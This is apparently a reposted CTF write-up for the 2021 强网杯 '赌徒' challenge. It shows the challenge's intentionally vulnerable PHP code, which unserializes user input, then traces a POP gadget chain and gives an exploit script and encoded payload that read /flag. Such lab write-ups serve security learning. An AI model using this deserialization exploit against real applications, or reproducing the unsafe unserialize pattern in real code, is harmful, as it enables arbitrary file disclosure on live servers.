zoukankan      html  css  js  c++  java
  • [2021强网杯] 赌徒

    简单的pop链构造

    <?php
    error_reporting(1);
    class Start
    {
        public $name='guest';
        public $flag='syst3m("cat 127.0.0.1/etc/hint");';
    
        public function __construct(){
            echo "I think you need /etc/hint . Before this you need to see the source code";
        }
    
        public function _sayhello(){
            echo $this->name;
            return 'ok';
        }
    
        public function __wakeup(){
            echo "hi";
            $this->_sayhello();
        }
        public function __get($cc){
            echo "give you flag : ".$this->flag;
            return ;
        }
    }
    
    class Info
    {
        private $phonenumber=123123;
        public $promise='I do';
    
        public function __construct(){
            $this->promise='I will not !!!!';
            return $this->promise;
        }
    
        public function __toString(){
            return $this->file['filename']->ffiillee['ffiilleennaammee'];
        }
    }
    
    class Room
    {
        public $filename='/flag';
        public $sth_to_set;
        public $a='';
    
        public function __get($name){
            $function = $this->a;
            return $function();
        }
    
        public function Get_hint($file){
            $hint=base64_encode(file_get_contents($file));
            echo $hint;
            return ;
        }
    
        public function __invoke(){
            $content = $this->Get_hint($this->filename);
            echo $content;
        }
    }
    
    if(isset($_GET['hello'])){
        unserialize($_GET['hello']);
    }
    ?>
    

    大概看一下就可以确定出pop链:
    Start类__wakeup -> Start类_sayhello -> Info类__toString -> Room类__get -> Room类__invoke -> Room类Get_hint
    然后编写exp:

    <?php
      class Start{
      }
    
      class Info{
      }
    
      class Room{
        public $filename;
        public $a;
      }
    
      $a = new Start();
      $b = new Info();
      $c = new Room();
    
      $c -> a = new Room();
      $c -> filename = '/flag';
      $b -> file['filename'] = $c;
      $a -> name = $b;
      echo urlencode(serialize($a));
    //O%3A5%3A%22Start%22%3A2%3A%7Bs%3A4%3A%22name%22%3BO%3A4%3A%22Info%22%3A3%3A%7Bs%3A17%3A%22%00Info%00phonenumber%22%3BN%3Bs%3A7%3A%22promise%22%3BN%3Bs%3A4%3A%22file%22%3Ba%3A1%3A%7Bs%3A8%3A%22filename%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3Bs%3A5%3A%22%2Fflag%22%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BO%3A4%3A%22Room%22%3A3%3A%7Bs%3A8%3A%22filename%22%3BN%3Bs%3A10%3A%22sth_to_set%22%3BN%3Bs%3A1%3A%22a%22%3BN%3B%7D%7D%7D%7Ds%3A4%3A%22flag%22%3BN%3B%7D
    

    [ * ]博客中转载的文章均已标明出处与来源,若无意产生侵权行为深表歉意,需要删除或更改请联系博主: 2245998470[at]qq.com

  • 相关阅读:
    LeetCode_167. Two Sum II
    LeetCode_160. Intersection of Two Linked Lists
    LeetCode_155. Min Stack
    LeetCode_141. Linked List Cycle
    LeetCode_136. Single Number
    LeetCode_125. Valid Palindrome
    HTML解析类 ,让你不使用正则也能轻松获取HTML相关元素 -C# .NET
    .net 根据匿名类生成实体类,根据datatable生成实体类,根据sql生成实体类
    将form表单元素转为实体对象 或集合 -ASP.NET C#
    ASP.NET 图片上传工具类 upload image简单好用功能齐全
  • 原文地址:https://www.cnblogs.com/yesec/p/15434717.html
Copyright © 2011-2022 走看看